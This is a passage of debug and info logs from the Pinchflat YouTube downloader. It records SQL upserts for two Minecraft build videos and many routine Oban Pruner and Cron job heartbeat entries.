?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video, I’ll show you 5 insane Minecraft portal designs that will completely upgrade your world! From a creepy dragon portal to a giant pumpkin portal, these builds are perfect for survival or creative worlds.\n\nPortal Order:\n🔥 Crimson Portal\n⚡ On/Off Portal\n💣 Creeper Portal\n🎃 Pumpkin Portal\n🐉 Dragon Portal\n\nWhich portal was your favorite?\n\n👍 Like & Subscribe for more Minecraft build ideas!\n\n#minecraft #minecraftbuilds #minecrafttutorial #minecraftdesign #minecraftsurvival", "5 Minecraft Portal Designs You NEED", "39ad7787-b502-4fb4-8c5b-965689e17ad0", "TM5BcRFffhY", false, "https://www.youtube.com/watch?v=TM5BcRFffhY", 36, [], 366, false, 2, "/downloads/rory/King Blake👑/2026-05-26 5 Minecraft Portal Designs You NEED/5 Minecraft Portal Designs You NEED [TM5BcRFffhY].mp4", false, false, 98, ~U[2026-05-26 21:00:32Z], ~U[2026-06-02 12:33:31Z], ~U[2026-06-02 12:33:31Z], "In this video, I’ll show you 5 insane Minecraft portal designs that will completely upgrade your world! From a creepy dragon portal to a giant pumpkin portal, these builds are perfect for survival or creative worlds.\n\nPortal Order:\n🔥 Crimson Portal\n⚡ On/Off Portal\n💣 Creeper Portal\n🎃 Pumpkin Portal\n🐉 Dragon Portal\n\nWhich portal was your favorite?\n\n👍 Like & Subscribe for more Minecraft build ideas!\n\n#minecraft #minecraftbuilds #minecrafttutorial #minecraftdesign #minecraftsurvival", "5 Minecraft Portal Designs You NEED", "TM5BcRFffhY", "https://www.youtube.com/watch?v=TM5BcRFffhY", 36, 366, false, "/downloads/rory/King Blake👑/2026-05-26 5 Minecraft Portal Designs You NEED/5 Minecraft Portal Designs You NEED [TM5BcRFffhY].mp4", false, ~U[2026-05-26 21:00:32Z]] 08:33:31.038 [debug] QUERY OK source="sources" db=0.2ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 08:33:31.038 [debug] QUERY OK source="media_items" db=0.4ms idle=2.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-19 21:00:24Z], 36] 08:33:31.039 [debug] QUERY OK source="media_items" db=0.8ms idle=2.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video, I’ll show you 5 Minecraft furniture builds that will make your house look WAY better!\n\nThese builds aren’t just decoration either — most of them actually work in survival Minecraft. From a realistic sofa you can sit on, to a bunk bed you can sleep in with your friends, these builds are perfect for upgrading your world.\n\nBuilds included:\n🛋️ Realistic Sofa\n🛏️ Working Bunk Bed\n🖥️ Gaming PC Setup\n🛌 Realistic Bed\n🎹 Realistic Piano\n\nIf you enjoyed the video, make sure to subscribe for more Minecraft build ideas, tutorials, and creative designs!\n\n#Minecraft #MinecraftBuilds #MinecraftTutorial #MinecraftIdeas #Gaming", "5 Minecraft Furniture Builds Your House Needs!", "cc6046d5-8967-4e4b-8e78-7e5ab961084f", "-GsNuTlC-pM", false, "https://www.youtube.com/watch?v=-GsNuTlC-pM", 36, [], 553, false, 3, "/downloads/rory/King Blake👑/2026-05-19 5 Minecraft Furniture Builds Your House Needs!/5 Minecraft Furniture Builds Your House Needs! [-GsNuTlC-pM].mp4", false, false, 98, ~U[2026-05-19 21:00:24Z], ~U[2026-06-02 12:33:31Z], ~U[2026-06-02 12:33:31Z], "In this video, I’ll show you 5 Minecraft furniture builds that will make your house look WAY better!\n\nThese builds aren’t just decoration either — most of them actually work in survival Minecraft. From a realistic sofa you can sit on, to a bunk bed you can sleep in with your friends, these builds are perfect for upgrading your world.\n\nBuilds included:\n🛋️ Realistic Sofa\n🛏️ Working Bunk Bed\n🖥️ Gaming PC Setup\n🛌 Realistic Bed\n🎹 Realistic Piano\n\nIf you enjoyed the video, make sure to subscribe for more Minecraft build ideas, tutorials, and creative designs!\n\n#Minecraft #MinecraftBuilds #MinecraftTutorial #MinecraftIdeas #Gaming", "5 Minecraft Furniture Builds Your House Needs!", "-GsNuTlC-pM", "https://www.youtube.com/watch?v=-GsNuTlC-pM", 36, 553, false, "/downloads/rory/King Blake👑/2026-05-19 5 Minecraft Furniture Builds Your House Needs!/5 Minecraft Furniture Builds Your House Needs! [-GsNuTlC-pM].mp4", false, ~U[2026-05-19 21:00:24Z]] 08:33:31.040 [debug] QUERY OK source="sources" db=0.1ms idle=3.3ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-06-02 12:33:31Z], ~U[2026-06-02 12:33:31Z], 36] 08:33:31.040 [debug] QUERY OK source="media_items" db=0.5ms idle=2.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 08:33:31.041 [debug] QUERY OK source="media_items" db=0.5ms idle=3.0ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 08:33:31.042 [debug] QUERY OK source="media_items" db=0.3ms idle=3.1ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [36] 08:33:31.043 [debug] QUERY OK source="tasks" db=0.2ms idle=2.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [7259, 36, ~U[2026-06-02 12:33:31Z], ~U[2026-06-02 12:33:31Z]] 08:33:31.043 [info] {"args":{"id":36},"id":7242,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":9261715,"event":"job:stop","queue_time":42801,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 08:33:52.121 [info] {"source":"oban","duration":1783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:34:00.031 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:34:22.124 [info] {"source":"oban","duration":1821,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:34:52.127 [info] {"source":"oban","duration":2121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:35:00.033 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:35:22.129 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:35:52.131 [info] {"source":"oban","duration":1613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:36:00.033 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:36:22.133 [info] {"source":"oban","duration":1104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:36:52.136 [info] {"source":"oban","duration":1897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:37:00.035 [info] {"source":"oban","duration":433,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:37:22.139 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:37:52.142 [info] {"source":"oban","duration":1693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:38:00.035 [info] {"source":"oban","duration":139,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:38:22.143 [info] {"source":"oban","duration":1088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:38:52.146 [info] {"source":"oban","duration":1745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:39:00.037 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:39:22.148 [info] {"source":"oban","duration":954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:39:52.151 [info] {"source":"oban","duration":1705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:40:00.037 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:40:22.154 [info] {"source":"oban","duration":1616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:40:52.157 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:41:00.039 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:41:22.160 [info] {"source":"oban","duration":2183,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:41:52.163 [info] {"source":"oban","duration":1685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:42:00.040 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:42:22.165 [info] {"source":"oban","duration":1017,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:42:52.168 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:43:00.041 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:43:22.171 [info] {"source":"oban","duration":2097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:43:52.174 [info] {"source":"oban","duration":1988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:44:00.043 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:44:22.177 [info] {"source":"oban","duration":1895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:44:52.180 [info] {"source":"oban","duration":1751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:45:00.044 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:45:22.183 [info] {"source":"oban","duration":1684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:45:52.186 [info] {"source":"oban","duration":1783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:46:00.045 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:46:22.189 [info] {"source":"oban","duration":1586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:46:52.192 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:47:00.047 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:47:22.195 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:47:52.198 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:48:00.049 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:48:22.200 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:48:52.203 [info] {"source":"oban","duration":1657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:49:00.051 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:49:22.206 [info] {"source":"oban","duration":1909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:49:52.209 [info] {"source":"oban","duration":1659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:50:00.052 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:50:22.212 [info] {"source":"oban","duration":2059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:50:52.215 [info] {"source":"oban","duration":2116,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:51:00.053 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:51:22.218 [info] {"source":"oban","duration":2202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:51:52.221 [info] {"source":"oban","duration":1955,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:52:00.055 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:52:22.224 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:52:52.226 [info] {"source":"oban","duration":2117,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:53:00.056 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:53:22.229 [info] {"source":"oban","duration":1580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:53:52.231 [info] {"source":"oban","duration":1652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:54:00.058 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:54:22.234 [info] {"source":"oban","duration":1632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:54:52.236 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:55:00.060 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:55:22.239 [info] {"source":"oban","duration":1549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:55:52.242 [info] {"source":"oban","duration":1962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:56:00.061 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:56:22.245 [info] {"source":"oban","duration":2058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:56:52.248 [info] {"source":"oban","duration":2092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:57:00.062 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:57:22.251 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:57:52.254 [info] {"source":"oban","duration":2154,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:58:00.064 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:58:22.257 [info] {"source":"oban","duration":1669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:58:52.260 [info] {"source":"oban","duration":2159,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:59:00.066 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:59:22.263 [info] {"source":"oban","duration":1926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:59:52.266 [info] {"source":"oban","duration":2063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:00:00.068 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:00:22.269 [info] {"source":"oban","duration":1586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:00:52.272 [info] {"source":"oban","duration":1721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:01:00.069 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:01:22.275 [info] {"source":"oban","duration":1580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:01:52.278 [info] {"source":"oban","duration":1766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:02:00.070 [info] {"source":"oban","duration":539,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:02:22.281 [info] {"source":"oban","duration":2070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:02:52.284 [info] {"source":"oban","duration":2137,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:03:00.072 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:03:22.287 [info] {"source":"oban","duration":1622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:03:52.290 [info] {"source":"oban","duration":1741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:04:00.074 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:04:22.293 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:04:52.296 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:05:00.075 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:05:22.299 [info] {"source":"oban","duration":2134,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:05:52.302 [info] {"source":"oban","duration":2082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:06:00.076 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:06:22.305 [info] {"source":"oban","duration":2106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:06:52.308 [info] {"source":"oban","duration":2233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:07:00.077 [info] {"source":"oban","duration":433,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:07:22.311 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:07:52.315 [info] {"source":"oban","duration":2296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:08:00.079 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:08:22.317 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:08:52.320 [info] {"source":"oban","duration":2090,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:09:00.081 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:09:22.323 [info] {"source":"oban","duration":2069,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:09:52.326 [info] {"source":"oban","duration":1644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:10:00.082 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:10:22.329 [info] {"source":"oban","duration":1585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:10:52.332 [info] {"source":"oban","duration":1748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:11:00.083 [info] {"source":"oban","duration":478,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:11:22.335 [info] {"source":"oban","duration":1681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:11:52.338 [info] {"source":"oban","duration":1683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:12:00.085 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:12:22.341 [info] {"source":"oban","duration":1626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:12:52.344 [info] {"source":"oban","duration":1601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:13:00.087 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:13:22.347 [info] {"source":"oban","duration":2088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:13:52.350 [info] {"source":"oban","duration":1605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:14:00.089 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:14:22.353 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:14:52.356 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:15:00.090 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:15:22.359 [info] {"source":"oban","duration":1573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:15:52.361 [info] {"source":"oban","duration":1674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:16:00.092 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:16:22.364 [info] {"source":"oban","duration":2041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:16:52.366 [info] {"source":"oban","duration":1358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:17:00.094 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:17:22.369 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:17:52.372 [info] {"source":"oban","duration":2025,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:18:00.095 [info] {"source":"oban","duration":195,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:18:22.375 [info] {"source":"oban","duration":1576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:18:52.378 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:19:00.097 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:19:22.381 [info] {"source":"oban","duration":1593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:19:52.384 [info] {"source":"oban","duration":2141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:20:00.099 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:20:22.387 [info] {"source":"oban","duration":1473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:20:52.389 [info] {"source":"oban","duration":2075,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:21:00.101 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:21:22.392 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:21:52.395 [info] {"source":"oban","duration":1594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:22:00.102 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:22:22.398 [info] {"source":"oban","duration":2170,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:22:52.401 [info] {"source":"oban","duration":1594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:23:00.104 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:23:22.404 [info] {"source":"oban","duration":1708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:23:52.407 [info] {"source":"oban","duration":1511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:24:00.106 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:24:22.410 [info] {"source":"oban","duration":1816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:24:52.413 [info] {"source":"oban","duration":1931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:25:00.108 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:25:22.416 [info] {"source":"oban","duration":1604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:25:52.419 [info] {"source":"oban","duration":2039,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:26:00.110 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:26:22.422 [info] {"source":"oban","duration":1549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:26:52.424 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:27:00.111 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:27:22.427 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:27:52.429 [info] 